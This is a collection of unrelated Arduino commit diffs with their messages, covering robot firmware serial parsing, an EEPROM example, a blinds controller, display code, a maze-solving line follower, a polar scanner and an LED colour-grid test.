return only T# in setup(); parse current_buffer from the end; V command for version

- returning a complex string like "Jenny 5 firmware version" was wrong
because it contains letter m which can also mean a motor move event.

- we now parse the current_buffer from the end. This will help to
process strings faster because # is usually at the end of the string.

- added V command which returns version number.

--- jenny5-firmware/jenny5-firmware.ino
+++ jenny5-firmware/jenny5-firmware.ino
@@ -22,7 +22,7 @@

 char is_command_running;

-char firmware_version[] = "2016.01.17.5";// year.month.day.build number
+char firmware_version[] = "2016.01.18.0";// year.month.day.build number

 char current_buffer[65];

@@ -55,17 +55,13 @@
   Serial.println(F("Ix# // Gets the value of infrared sensor x. Outputs Ix v#"));
   Serial.println(F("GMx# // Gets the parameters for motor x: speed acceleration num_sensors sensor_index1, sensor_type1 sensor_index1, sensor_type1. Outputs MPx s a 1 0 0#"));
   Serial.println(F("GPx# // Gets the parameters for potentiometer x: min max home. Outputs Px l u h#"));
-  Serial.println(F("G# // Debug string - unformated"));
+  Serial.println(F("V# // Outputs version string. eg: 2016.01.17.0#"));

   Serial.println(F("Motor index is between 0 and num_motors - 1"));

   Serial.println();
 #endif
-
-  Serial.write("Jenny 5 firmware version: ");
-  Serial.write(firmware_version);
-  Serial.write('\n');
   Serial.write("T#");// initialization is over; must check for T# string (which is the alive test)
 }
 //--------------------------------------------------------------------------------------------
@@ -190,6 +186,10 @@
            sprintf(serial_out, "T#");
            i += 2;
          }
+         if (tmp_str[i] == 'V' || tmp_str[i] == 'v'){// test connection
+           sprintf(serial_out, "%s#", firmware_version);
+           i += 2;
+         }
     }
     else
       i++;
@@ -213,7 +213,8 @@
     }
     serial_buffer[num_read] = 0;// terminate the string
     if (serial_buffer[0] || current_buffer[0]){
-      strcat(current_buffer, serial_buffer);
+      if (serial_buffer[0])
+        strcat(current_buffer, serial_buffer);

       #ifdef DEBUG
         Serial.write("initial buffer is=");
@@ -222,13 +223,13 @@
       #endif

       // parse from the beginning until I find a M, D, L, S, A, P, B, U, G, T
-      int buffer_length = strlen(current_buffer);
-      for (int i = 0; i < buffer_length; i++)
+      int current_buffer_length = strlen(current_buffer);
+      for (int i = 0; i < current_buffer_length; i++)
         if ((current_buffer[i] >= 'A' && current_buffer[i] <= 'Z') || (current_buffer[i] >= 'a' && current_buffer[i] <= 'z')){// a command
           // find the terminal character #
-          int j = i + 1;
-          for (; j < buffer_length && current_buffer[j] != '#'; j++);// parse until I find the termination char
-          if (j < buffer_length){
+          int j = current_buffer_length - 1;
+          for (; j > i && current_buffer[j] != '#'; j--);// parse (from the end) until I find the termination char
+          if (j > i){

               #ifdef DEBUG
                 char tmp_str[64];


Updating EEPROM example sketch with struct read/write.

--- examples/Sandbox/CosaEEPROM/CosaEEPROM.ino
+++ examples/Sandbox/CosaEEPROM/CosaEEPROM.ino
@@ -33,8 +33,19 @@
 #include "Cosa/EEPROM.hh"

 EEPROM eeprom;
+
+// Data vector in EEPROM
 static const int DATA_MAX = 8;
 long data[DATA_MAX] EEMEM;
+
+// Configuration struct in EEPROM
+static const int NAME_MAX = 16;
+struct config_t {
+  int mode;
+  int speed;
+  char name[NAME_MAX];
+};
+config_t config EEMEM;

 void setup()
 {
@@ -43,20 +54,42 @@
   TRACE(free_memory());
   Watchdog::begin();

+  // Initiate data vector with index
   for (uint8_t i = 0; i < DATA_MAX; i++) {
     eeprom.write(&data[i], (long) i);
   }
+
+  // Initiate configuration struct
+  config_t init;
+  init.mode = 17;
+  init.speed = 9600;
+  strcpy_P(init.name, PSTR(".EEPROM"));
+  eeprom.write(&config, &init, sizeof(config));
 }

 void loop()
 {
   static int i = 0;
   long x;
+
+  // Read the configuration and print (first time only)
+  if (i == 0) {
+    config_t init;
+    eeprom.read(&init, &config, sizeof(init));
+    trace << PSTR("init(mode = ") << init.mode
+	  << PSTR(", speed = ") << init.speed
+	  << PSTR(", name = \"") << init.name
+	  << PSTR("\")\n");
+  }
+
+  // Read and update data, element at a time
   TRACE(eeprom.read(&x, &data[i]));
   trace << i << ':' << x << endl;
   x += 5;
   TRACE(eeprom.write(&data[i], x));
   i += 1;
   if (i == membersof(data)) i = 0;
-  SLEEP(2);
+
+  // Take a nap
+  SLEEP(5);
 }


Power blinds: Adjusted rollDown blinds threshold for dining controller.

--- projects/PowerBlinds/DiningController/DiningController.ino
+++ projects/PowerBlinds/DiningController/DiningController.ino
@@ -22,7 +22,7 @@
   // Default values for config
   10, //int maxMotorRuntime; // Number of seconds to limit individual motor run to
   200, //int switchStopWindow; // Number of milliseconds threshold to consider it stop command, rather than switch (e.g. double click speed)
-  700, //int bottomSensorThreshold; // Value after which we assume blinds are at the bottom position
+  600, //int bottomSensorThreshold; // Value after which we assume blinds are at the bottom position
   500, //int topSensorThreshold; // Difference between A & B to assume reaching the top
   100, //int delayAfterReachingPosition; // After optical sensor identifies target position was reached - roll for a little more to get past the edge
   9600 //unsigned long baudRate; // Serial/RS-485 rate: 9600, 14400, 19200, 28800, 38400, 57600, or 115200


Why not mark constant variables constant?

--- Nokia_5110/Nokia_5110.ino
+++ Nokia_5110/Nokia_5110.ino
@@ -33,7 +33,7 @@

     extendedInstruction();

-    unsigned short leastValue = 128;
+    const unsigned short leastValue = 128;
     execute(byte(leastValue + value));
 }

@@ -55,7 +55,7 @@

     extendedInstruction();

-    unsigned short leastValue = 4;
+    const unsigned short leastValue = 4;
     execute(byte(leastValue + value));
 }


jaime's

jaime's

--- MTM_MASTER/MTM_MASTER.ino
+++ MTM_MASTER/MTM_MASTER.ino
@@ -36,8 +36,9 @@
     Serial.begin(9600);
     //send(0, test, 6);
     delay(100);
-    if(!initialize())
+    if(!initialize()) {
         Serial.println("Initialization Failed");
+    }
     threshold = massFSR();

 }
@@ -51,23 +52,26 @@
 int initialize() {
     //Check connected
     for(int i=0; i<NUM_MODULES; i++) {
-        if(!send(modules[i], 0, 1))
+        if(!send(modules[i], 0, 1)) {
             return error();
+        }
     }
     for(int i=0; i<NUM_MODULES; i++) {
-        if(!bleed(modules[i]))
+        if(!bleed(modules[i])) {
             return error();
+        }
     }
     return 0;
 }

 int send(byte addr, byte data[], int n) {
     //if(!Wire.isEnabled())
-        Wire.begin();
+    Wire.begin();
     Wire.beginTransmission(addr);
     Wire.write(data, n);
-    if(Wire.endTransmission())
+    if(Wire.endTransmission() != 0) {
         return error();
+    }
     Serial.print("Sent");
     return 0; //returns 0 if sent successfully
 }
@@ -76,8 +80,9 @@
         Wire.begin();
     Wire.beginTransmission(addr);
     Wire.write(data);
-    if(Wire.endTransmission())
+    if(Wire.endTransmission() != 0) {
         return error();
+    }
     return 0; //returns 0 if sent successfully
 }

@@ -108,8 +113,9 @@
     startTimer();
     int initMass = massFSR();
     while(massChange(initMass)< mass && !maxTimer(P_TIMEOUT));
-    if(!send(addr, temp, 2))
+    if(!send(addr, temp, 2)) {
         error();
+    }
     return 0;
 }


Fixed moveMotorOnSide() / back to camelCase

--- MazeSolver/MazeSolver.ino
+++ MazeSolver/MazeSolver.ino
@@ -1,310 +1,310 @@
-#include <QTRSensors.h>
-#include "Direction.h"
-
-const int numberOfSensors = 6;
-// pid loop vars
-const float proportionalConst = 0.1f;
-const float derivateConst = 1.0f;
-
-const int calibrationSeconds = 4;
-const int standardMotorSpeed = 200;
-
-const int speed_a = 3;  //speed control for motor outputs 1 and 2 is on digital pin 10  (Right motor)
-const int speed_b = 11; //speed control for motor outputs 3 and 4 is on digital pin 11  (Left motor)
-const int dir_a = 12;  //direction control for motor outputs 1 and 2 is on digital pin 12  (Right motor)
-const int dir_b = 13;  //direction control for motor outputs 3 and 4 is on digital pin 13  (Left motor)
-
-// motor tuning vars for maze navigating
-int turnSpeed = 200;  // tune value motors will run while turning (0-255) NOT TESTED
-int turnSpeedSlow = 125;  // tune value motors will run as they slow down from turning cycle to avoid overrun (0-255) NOT TESTED
-int drivePastDelay = 300; // tune value in mseconds motors will run past intersection to align wheels for turn NOT TESTED
-
-
-unsigned char pins[6] = { 0, 1, 2, 3, 4, 5 };
-QTRSensorsAnalog qtra(pins, numberOfSensors, 4, 2);
-unsigned int sensorValues[numberOfSensors];
-
-Direction direction = forward;
-
-unsigned int position;
-int lastError;
-int loopIndex;
-
-void setup()
-{
-	pinMode(12, OUTPUT);
-	pinMode(13, OUTPUT);
-
-	Serial.begin(9600);
-
-	delay(500);
-
-	calibrate();
-
-	Serial.println('\n');
-	delay(1000);
-}
-
-void loop()
-{
-	switch (Serial.read())
-	{
-	case '1':
-		direction = none;
-		break;
-	case '2':
-		direction = forward;
-		break;
-	default:
-		break;
-	}
-
-	if (loopIndex % 100 == 0)
-	{
-		printSensorValues();
-	}
-
-	drive();
-
-	loopIndex++;
-}
-
-void calibrate()
-{
-	for (int i = 0; i < calibrationSeconds / 0.025; i++)
-	{
-		qtra.calibrate();
-	}
-
-	// print the calibration minimum values measured when emitters were on
-	for (int i = 0; i < numberOfSensors; i++)
-	{
-		Serial.print(qtra.calibratedMinimumOn[i]);
-		Serial.print(' ');
-	}
-	Serial.println();
-
-	// print the calibration maximum values measured when emitters were on
-	for (int i = 0; i < numberOfSensors; i++)
-	{
-		Serial.print(qtra.calibratedMaximumOn[i]);
-		Serial.print(' ');
-	}
-}
-
-void drive()
-{
-	if (direction == none)
-	{
-		moveMotorOnSide(left, forward, 0);
-		moveMotorOnSide(right, forward, 0);
-		return;
-	}
-
-	position = qtra.readLine(sensorValues);
-	int posPropotionalToMid = position - 2500;
-
-	int motorSpeed = proportionalConst * posPropotionalToMid + derivateConst * (posPropotionalToMid - lastError);
-	lastError = posPropotionalToMid;
-
-	moveMotorOnSide(left, forward, standardMotorSpeed - motorSpeed);
-	//Serial.print(' ');
-	moveMotorOnSide(right, forward, standardMotorSpeed + motorSpeed);
-
-}
-
-void moveMotorOnSide(Direction side, Direction orientation, int speed)
-{
-	speed = max(min(speed, 180), 0);
-
-	if (side = right)
-	{
-		if (orientation = forward)
-		{
-			digitalWrite(dir_a, HIGH);
-			analogWrite(speed_a, speed);
-		}
-		else
-		{
-			digitalWrite(dir_a, LOW);
-			analogWrite(speed_a, speed);
-		}
-
-	}
-	else
-	{
-		if (orientation = forward)
-		{
-			digitalWrite(dir_b, HIGH);
-			analogWrite(speed_b, speed);
-		}
-		else
-		{
-			digitalWrite(dir_b, LOW);
-			analogWrite(speed_b, speed);
-		}
-
-	}
-
-}
-
-void moveBothMotors(Direction orientationRight, Direction orientationLeft, int speed)
-{
-	moveMotorOnSide(right, orientationRight, speed);
-	moveMotorOnSide(left, orientationLeft, speed);
-}
-
-void printSensorValues()
-{
-	for (unsigned char i = 0; i < numberOfSensors; i++)
-	{
-		Serial.print(sensorValues[i]);
-		Serial.print('\t');
-	}
-
-	Serial.println((int)position - 2500);
-}
-// Turns to the sent variable of
-// 'L' (left), 'R' (right), 'S' (straight), or 'B' (back)
-// TODO Tune 'turnSpeed'
-void turn(char dir)
-{
-	switch (dir)
-	{
-		// Turn left 90deg
-	case 'L':
-			moveBothMotors(forward, back, turnSpeed);
-
-
-			position = qtrra.readLine(sensorValues);
-
-
-			while (sensorValues[5] < 300)  // wait for outer most sensor to find the line
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// slow down speed
-			moveBothMotors(forward, back, turnSpeedSlow);
-
-			// find center
-			while (position > 3000)  // tune - wait for line position to find near center
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// stop both motors
-			moveBothMotors(forward, back, 0);
-			break;
-
-			// Turn right 90deg
-		case 'R':
-			moveBothMotors(back, forward, turnSpeed);
-
-			position = qtrra.readLine(sensorValues);
-
-			while (sensorValues[1] < 300)  // wait for outer most sensor to find the line
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// slow down speed
-			moveBothMotors(back, forward, turnSpeedSlow);
-
-			// find center
-			while (position < 3000)  // tune - wait for line position to find near center
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// stop both motors
-			moveBothMotors(back, forward, 0);
-			break;
-
-			// Turn right 180deg to go back
-		case 'B':
-			moveBothMotors(back, forward, turnSpeed);
-
-			position = qtrra.readLine(sensorValues);
-
-			while (sensorValues[1] < 300)  // wait for outer most sensor to find the line
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// slow down speed
-			moveBothMotors(back, forward, turnSpeedSlow);
-
-			// find center
-			while (position < 300)  // tune - wait for line position to find near center
-			{
-				position = qtrra.readLine(sensorValues);
-			}
-
-			// stop both motors
-			moveBothMotors(back, forward, 0);
-			break;
-
-			// Straight ahead
-		case 'S':
-			// do nothing
-			break;
-	}
-} // end turn
-
-//void MazeSolve()
-//{
-//	while (1)
-//	{
-//
-//
-//
-//		// Drive straight a bit.
-//		moveBothMotors(forward, forward, 200);
-//		delay(25);
-//
-//		// These variables record whether the robot has seen a line to the
-//		// left, straight ahead, and right, while examining the current
-//		// intersection.
-//		unsigned char found_left = 0; //TODO make this boolean
-//		unsigned char found_straight = 0;
-//		unsigned char found_right = 0;
-//
-//		// Now read the sensors and check the intersection type.
-//		position = qtrra.readLine(sensorValues);
-//
-//		// Check for left and right exits.
-//		if (sensorValues[0] > 400)
-//			found_right = 1;
-//		if (sensorValues[5] > 400)
-//			found_left = 1;
-//
-//		// Drive straight a bit more
-//		moveBothMotors(forward, forward, 200);
-//		delay(drivePastDelay);
-//
-//		position = qtrra.readLine(sensorValues);
-//		// if(sensorValues[1] > 200 || sensorValues[2] > 200 || sensorValues[3] > 200 || sensorValues[4] > 200) //To Do: Which sensor values indicate a straight
-//		// found_straight = 1;
-//
-//		// unsigned char dir = select_turn(found_left, found_straight, found_right); //TODO this method
-//
-//		 // Make the turn indicated by the path.
-//		turn(dir);
-//		//TODO End of the maze
-//	}
-
-char select_turn(unsigned char found_left, unsigned char found_straight, unsigned char found_right) //TODO make this boolean
-{
-	// Make a decision about how to turn.  The following code
-	// implements a left-hand-on-the-wall strategy, where we always
-	// turn as far to the left as possible.
-	if (found_left)
-		return 'L';
-	else if (found_straight)
-		return 'S';
-	else if (found_right)
-		return 'R';
-	else
-		return 'B';
+#include <QTRSensors.h>
+#include "Direction.h"
+
+const int numberOfSensors = 6;
+const int calibrationSeconds = 4;
+const int treshold = 400;
+// pid loop vars
+const float proportionalConst = 0.1f;
+const float derivateConst = 1.0f;
+const int standardMotorSpeed = 200;
+
+const int speedA = 3;  //speed control for motor outputs 1 and 2 is on digital pin 10  (Right motor)
+const int speedB = 11; //speed control for motor outputs 3 and 4 is on digital pin 11  (Left motor)
+const int dirA = 12;  //direction control for motor outputs 1 and 2 is on digital pin 12  (Right motor)
+const int dirB = 13;  //direction control for motor outputs 3 and 4 is on digital pin 13  (Left motor)
+
+// motor tuning vars for maze navigating
+int turnSpeed = 200;  // tune value motors will run while turning (0-255) NOT TESTED
+int turnSpeedSlow = 125;  // tune value motors will run as they slow down from turning cycle to avoid overrun (0-255) NOT TESTED
+int drivePastDelay = 300; // tune value in mseconds motors will run past intersection to align wheels for turn NOT TESTED
+
+
+unsigned char pins[6] = { 0, 1, 2, 3, 4, 5 };
+QTRSensorsAnalog qtra(pins, numberOfSensors, 4, 2);
+unsigned int sensorValues[numberOfSensors];
+
+Direction direction = forward;
+
+unsigned int position;
+int lastError;
+int loopIndex;
+
+void setup()
+{
+	pinMode(12, OUTPUT);
+	pinMode(13, OUTPUT);
+
+	Serial.begin(9600);
+
+	delay(500);
+
+	calibrate();
+
+	Serial.println('\n');
+	delay(1000);
+}
+
+void loop()
+{
+	switch (Serial.read())
+	{
+	case '1':
+		direction = none;
+		break;
+	case '2':
+		direction = forward;
+		break;
+	default:
+		break;
+	}
+
+	if (loopIndex % 100 == 0)
+	{
+		printSensorValues();
+	}
+
+	drive();
+
+	loopIndex++;
+}
+
+void calibrate()
+{
+	for (int i = 0; i < calibrationSeconds / 0.025; i++)
+	{
+		qtra.calibrate();
+	}
+
+	// print the calibration minimum values measured when emitters were on
+	for (int i = 0; i < numberOfSensors; i++)
+	{
+		Serial.print(qtra.calibratedMinimumOn[i]);
+		Serial.print(' ');
+	}
+	Serial.println();
+
+	// print the calibration maximum values measured when emitters were on
+	for (int i = 0; i < numberOfSensors; i++)
+	{
+		Serial.print(qtra.calibratedMaximumOn[i]);
+		Serial.print(' ');
+	}
+}
+
+void drive()
+{
+	if (direction == none)
+	{
+		moveMotorOnSide(left, forward, 0);
+		moveMotorOnSide(right, forward, 0);
+		return;
+	}
+
+	position = qtra.readLine(sensorValues);
+	int posPropotionalToMid = position - 2500;
+
+	int motorSpeed = proportionalConst * posPropotionalToMid + derivateConst * (posPropotionalToMid - lastError);
+	lastError = posPropotionalToMid;
+
+	moveMotorOnSide(left, forward, standardMotorSpeed - motorSpeed);
+	//Serial.print(' ');
+	moveMotorOnSide(right, forward, standardMotorSpeed + motorSpeed);
+
+}
+
+void moveMotorOnSide(Direction side, Direction orientation, int speed)
+{
+	speed = max(min(speed, 180), 0);
+
+	if (side == right)
+	{
+		if (orientation == forward)
+		{
+			digitalWrite(dirA, HIGH);
+			analogWrite(speedA, speed);
+		}
+		else
+		{
+			digitalWrite(dirA, LOW);
+			analogWrite(speedA, speed);
+		}
+
+	}
+	else
+	{
+		if (orientation == forward)
+		{
+			digitalWrite(dirB, HIGH);
+			analogWrite(speedB, speed);
+		}
+		else
+		{
+			digitalWrite(dirB, LOW);
+			analogWrite(speedB, speed);
+		}
+
+	}
+
+}
+
+void moveBothMotors(Direction orientationRight, Direction orientationLeft, int speed)
+{
+	moveMotorOnSide(right, orientationRight, speed);
+	moveMotorOnSide(left, orientationLeft, speed);
+}
+
+void printSensorValues()
+{
+	for (unsigned char i = 0; i < numberOfSensors; i++)
+	{
+		Serial.print(sensorValues[i]);
+		Serial.print('\t');
+	}
+
+	Serial.println((int)position - 2500);
+}
+// Turns to the sent variable of
+// 'L' (left), 'R' (right), 'S' (straight), or 'B' (back)
+// TODO Tune 'turnSpeed'
+void turn(char dir)
+{
+	switch (dir)
+	{
+		// Turn left 90deg
+	case 'L':
+			moveBothMotors(forward, back, turnSpeed);
+
+
+			position = qtrra.readLine(sensorValues);
+
+
+			while (sensorValues[5] < treshold)  // wait for outer most sensor to find the line
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// slow down speed
+			moveBothMotors(forward, back, turnSpeedSlow);
+
+			// find center
+			while (position > 3000)  // tune - wait for line position to find near center
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// stop both motors
+			moveBothMotors(forward, back, 0);
+			break;
+
+			// Turn right 90deg
+		case 'R':
+			moveBothMotors(back, forward, turnSpeed);
+
+			position = qtrra.readLine(sensorValues);
+
+			while (sensorValues[1] < treshold)  // wait for outer most sensor to find the line
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// slow down speed
+			moveBothMotors(back, forward, turnSpeedSlow);
+
+			// find center
+			while (position < 3000)  // tune - wait for line position to find near center
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// stop both motors
+			moveBothMotors(back, forward, 0);
+			break;
+
+			// Turn right 180deg to go back
+		case 'B':
+			moveBothMotors(back, forward, turnSpeed);
+
+			position = qtrra.readLine(sensorValues);
+
+			while (sensorValues[1] < treshold)  // wait for outer most sensor to find the line
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// slow down speed
+			moveBothMotors(back, forward, turnSpeedSlow);
+
+			// find center
+			while (position < 300)  // tune - wait for line position to find near center
+			{
+				position = qtrra.readLine(sensorValues);
+			}
+
+			// stop both motors
+			moveBothMotors(back, forward, 0);
+			break;
+
+			// Straight ahead
+		case 'S':
+			// do nothing
+			break;
+	}
+} // end turn
+
+//void MazeSolve()
+//{
+//	while (1)
+//	{
+//
+//
+//
+//		// Drive straight a bit.
+//		moveBothMotors(forward, forward, 200);
+//		delay(25);
+//
+//		// These variables record whether the robot has seen a line to the
+//		// left, straight ahead, and right, while examining the current
+//		// intersection.
+//		unsigned char found_left = 0; //TODO make this boolean
+//		unsigned char found_straight = 0;
+//		unsigned char found_right = 0;
+//
+//		// Now read the sensors and check the intersection type.
+//		position = qtrra.readLine(sensorValues);
+//
+//		// Check for left and right exits.
+//		if (sensorValues[0] > 400)
+//			found_right = 1;
+//		if (sensorValues[5] > 400)
+//			found_left = 1;
+//
+//		// Drive straight a bit more
+//		moveBothMotors(forward, forward, 200);
+//		delay(drivePastDelay);
+//
+//		position = qtrra.readLine(sensorValues);
+//		// if(sensorValues[1] > 200 || sensorValues[2] > 200 || sensorValues[3] > 200 || sensorValues[4] > 200) //To Do: Which sensor values indicate a straight
+//		// found_straight = 1;
+//
+//		// unsigned char dir = select_turn(found_left, found_straight, found_right); //TODO this method
+//
+//		 // Make the turn indicated by the path.
+//		turn(dir);
+//		//TODO End of the maze
+//	}
+
+char selectTurn(unsigned char found_left, unsigned char found_straight, unsigned char found_right) //TODO make this boolean
+{
+	// Make a decision about how to turn.  The following code
+	// implements a left-hand-on-the-wall strategy, where we always
+	// turn as far to the left as possible.
+	if (found_left)
+		return 'L';
+	else if (found_straight)
+		return 'S';
+	else if (found_right)
+		return 'R';
+	else
+		return 'B';
 } // end select_turn


stripboard friendly placement

stripboard friendly placement

--- polar-scanner.ino
+++ polar-scanner.ino
@@ -16,8 +16,8 @@
 /*
  * ultra sonic telemeter mesure
  */
-#define INECHO 8
-#define TRIGGER 9
+#define INECHO 10
+#define TRIGGER 11
 #define ECHO_TIMEOUT 100000
 #define ECHO2CM(x) (x/60)
 #define MAX_CM 1000
@@ -25,15 +25,15 @@
 /*
  * servo
  */
-#define SRV 7
+#define SRV 12

 /*
  * stepper
  */
-#define STEP1 5
-#define STEP2 4
-#define STEP3 3
-#define STEP4 2
+#define STEP1 9
+#define STEP2 8
+#define STEP3 7
+#define STEP4 6
 #define STEPPERMS 5

 /*


Trying to get 6 runs showing combos of RGB and HSL working. Still have a bug, but at least it's not totally broken.

--- xy.ino
+++ xy.ino
@@ -7,16 +7,19 @@
 #include <avr/power.h>
 #endif

+#define GRID_SIZE_X 5
+#define GRID_SIZE_Y 5
+
 // ---------------------------------------------------------------------------------------------------------------------
 //  types
 // ---------------------------------------------------------------------------------------------------------------------

-struct point_s
+struct point
 {
    int x,y;
 };

-struct rgb_s
+struct rgbTriple
 {
    int r,g,b;
 };
@@ -30,10 +33,10 @@

 Adafruit_WS2801 strip = Adafruit_WS2801(25, dataPin, clockPin);

-float MIN_LIGHTNESS = 0.004;
-
-struct point_s org = (struct point_s) { 0, 0   }   ;
-struct point_s gridSize = (struct point_s) {5, 5    };
+const float MIN_LIGHTNESS = 0.004;
+
+struct point org = { 0, 0   }   ;
+struct point gridSize = (point) {GRID_SIZE_X, GRID_SIZE_Y };

 // ---------------------------------------------------------------------------------------------------------------------
 //  setup
@@ -65,9 +68,9 @@

 void flashTwoDifferentColors()
 {
-  struct point_s org = {0, 0};
-  struct point_s gridSize = {5, 5};
-  struct point_s p = {3,1};
+  struct point org = {0, 0};
+  struct point gridSize = {5, 5};
+  struct point p = {3,1};
   int i = point2seq( p, org, gridSize);

   strip.setPixelColor( i, Color( 0, 30, 30 ));
@@ -97,7 +100,7 @@

 void cartesianTest()
 {
-   struct point_s prevPt;
+   struct point prevPt;
    bool prevPtSet = false;
    float lightness;
    float dLightness = 1.0 / gridSize.x;
@@ -105,10 +108,12 @@
    float dSaturation = 1.0 / gridSize.x;
    int i;

-   struct point_s pt;
+   struct point pt;
    uint32_t c;

-   struct rgb_s rgb;
+   struct rgbTriple rgb;
+
+   clearStrip();

    // bottom left to top right
    for (i = 0; i < 5; i++)
@@ -172,7 +177,7 @@
    // strip.setPixelColor( point2seq( pt, org, gridSize), c);
    // strip.show();

-   delay( 6000);
+   delay( 10000);
    clearStrip();
    strip.show();
    delay( 600);
@@ -188,19 +193,191 @@
    int dColor = 64;
    float d1 = 1.0 / (5-1);      // 0..4 ==> 0..1.0 in 5 steps
    int exponent = 4;            // Non-linear brightness increase as {x^exponent : x in [0.0..1.0]}
+   struct rgbTriple rgb;
    int r,g,b;
    float rf, gf, bf;
+   int h;
+   float s, l;
    uint32_t c;
    int i;
-   struct point_s pt;
-   struct point_s org = {0,0 };
-   struct point_s gridSize = {5,5 } ;
-
+   struct point pt;
+
+   enum gridColorspace
+   {
+      RGB = 1,
+      HSL
+   };
+
+   enum axisColorspace
+   {
+      RED = 1,
+      GREEN,
+      BLUE,
+      HUE,
+      SAT,                      // Saturation
+      LIGHT                     // Lightness
+   };
+
+   typedef struct
+   {
+      gridColorspace colorspace;
+      int xAxisSpace, yAxisSpace;
+
+      // Axis values may be non-linear (e.g., intensity)
+      union
+      {
+         int axisIntValues[GRID_SIZE_X];
+         float axisFloatValues[GRID_SIZE_X];
+      } x;
+
+      union
+      {
+         int axisIntValues[GRID_SIZE_Y];
+         float axisFloatValues[GRID_SIZE_Y];
+      } y;
+   } runParamTuple;
+
+   // TODO: put the following setup in setup() ----------------------------------------------------------------
+
+   // Gonna cheat, since we know we have a square grid:  same values on each axis.
+
+   int ledBrightness[GRID_SIZE_X]; // RGB intensity
+   float dLedBrightness = 1.0 / (GRID_SIZE_X - 1);
+   float lightness[GRID_SIZE_X]; // HSL
+   float saturation[GRID_SIZE_X]; // HSL
+
+   ledBrightness[0] = 0;
+   ledBrightness[GRID_SIZE_X - 1] = 255;
+
+   saturation[0] = lightness[0] = 0;
+   saturation[GRID_SIZE_X - 1] = lightness[GRID_SIZE_X - 1] = 1;
+
+   float v;
+
+   clearStrip();
+
+   for (i = 1; i < GRID_SIZE_X - 1; i++)
+   {
+      v = i * dLedBrightness;   // Linear
+      saturation[i] = v;
+      v = pow( v, exponent);    // Non-linear
+      lightness[i] = v;
+      ledBrightness[i] = v * 256; // Don't need to constrain; won't get close to 255.
+   }
+
+   // Debug:
+   for (i = 0; i < GRID_SIZE_X; i++)
+   {
+      pt = {i, 4 } ;
+      rgb = hsl2rgb( 0, saturation[i], 0.5); // red/pink
+      c = Color( rgb.r, rgb.g, rgb.b);
+      strip.setPixelColor( point2seq( pt, org, gridSize), c);
+
+      pt = {i, 3 } ;
+      rgb = hsl2rgb( 120, 0.5, lightness[i]); // greenish
+      c = Color( rgb.r, rgb.g, rgb.b);
+      strip.setPixelColor( point2seq( pt, org, gridSize), c);
+
+      pt = {i, 2 } ;
+      c = Color( 0, 0, ledBrightness[i]); // blue
+      strip.setPixelColor( point2seq( pt, org, gridSize), c);
+   }
+   strip.show();
+   delay( 20000);
+
+   runParamTuple runParams[6] = { { RGB , RED   , GREEN } ,  // 0
+                                  { RGB , BLUE  , RED }   ,  // 1
+                                  { RGB , GREEN , BLUE }  ,  // 2
+                                  { HSL , HUE   , SAT }   ,  // 3
+                                  { HSL , HUE   , LIGHT } ,  // 4
+                                  { HSL , SAT   , LIGHT } }; // 5
+
+   for (i = 0; i < 3; i++)
+   {
+      copyIntArray( runParams[i].x.axisIntValues, ledBrightness, GRID_SIZE_X);
+      copyIntArray( runParams[i].y.axisIntValues, ledBrightness, GRID_SIZE_X);
+   }
+
+   float dHue = 360.0 / GRID_SIZE_X;
+   for (i = 0; i < GRID_SIZE_X; i++)
+   {
+      runParams[3].x.axisIntValues[i] = (int) (i * dHue + 0.5);
+      runParams[4].x.axisIntValues[i] = (int) (i * dHue + 0.5);
+   }
+   copyFloatArray( runParams[3].y.axisFloatValues, saturation, GRID_SIZE_X);
+   copyFloatArray( runParams[4].y.axisFloatValues, lightness, GRID_SIZE_X);
+   copyFloatArray( runParams[5].y.axisFloatValues, lightness, GRID_SIZE_X);
+
+   copyFloatArray( runParams[5].x.axisFloatValues, saturation, GRID_SIZE_X);
+
+   // (setup ends) ----------------------------------------------------------------
+
    int run;

    // Label the runs for x and y axes: rg, br, gb
    // 0, 1, 2

+   for (run = 0; run < 6; run++)
+   {
+      runParamTuple rp = runParams[run];
+      for (y = 0; y < GRID_SIZE_Y; y++)
+         for (x = 0; x < GRID_SIZE_X; x++)
+         {
+            pt = {x,y };
+            // Compute color based on colorspace
+            switch (rp.colorspace)
+            {
+               case RGB:
+                  r = (rp.xAxisSpace == RED
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == RED
+                          ? rp.y.axisIntValues[y]
+                          : 0));
+                  g = (rp.xAxisSpace == GREEN
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == GREEN
+                          ? rp.y.axisIntValues[y]
+                          : 0));
+                  b = (rp.xAxisSpace == BLUE
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == BLUE
+                          ? rp.y.axisIntValues[y]
+                          : 0));
+                  c = Color( r, g, b);
+                  break;
+               case HSL:
+                  h = (rp.xAxisSpace == HUE
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == HUE
+                          ? rp.y.axisIntValues[y]
+                          : 0));
+                  s = (rp.xAxisSpace == SAT
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == SAT
+                          ? rp.y.axisIntValues[y]
+                          : 0.5));
+                  l = (rp.xAxisSpace == LIGHT
+                       ? rp.x.axisIntValues[x]
+                       : (rp.yAxisSpace == LIGHT
+                          ? rp.y.axisIntValues[y]
+                          : 0.5));
+                  rgb = hsl2rgb( h, s, l);
+                  c = Color( rgb.r, rgb.g, rgb.b);
+                  break;
+               default:
+                  c = 0;
+                  break;
+            }
+            strip.setPixelColor( point2seq( pt, org, gridSize), c);
+         }
+      rgb = hsl2rgb( run * 60, 1.0, 0.05);
+      c = Color( rgb.r, rgb.g, rgb.b);
+      pt = {0,4 } ;
+      strip.setPixelColor( point2seq( pt, org, gridSize), c);
+      strip.show();
+      delay( 2000);
+   }
+
    for (run = 0; run < 3; run++)
    {
       for (y = 0; y < 5; y++)
@@ -226,7 +403,7 @@
             // delay( 300);
          }
       strip.show();
-      delay( 10000);
+      delay( 2000);
       // clearStrip();
       // strip.show();
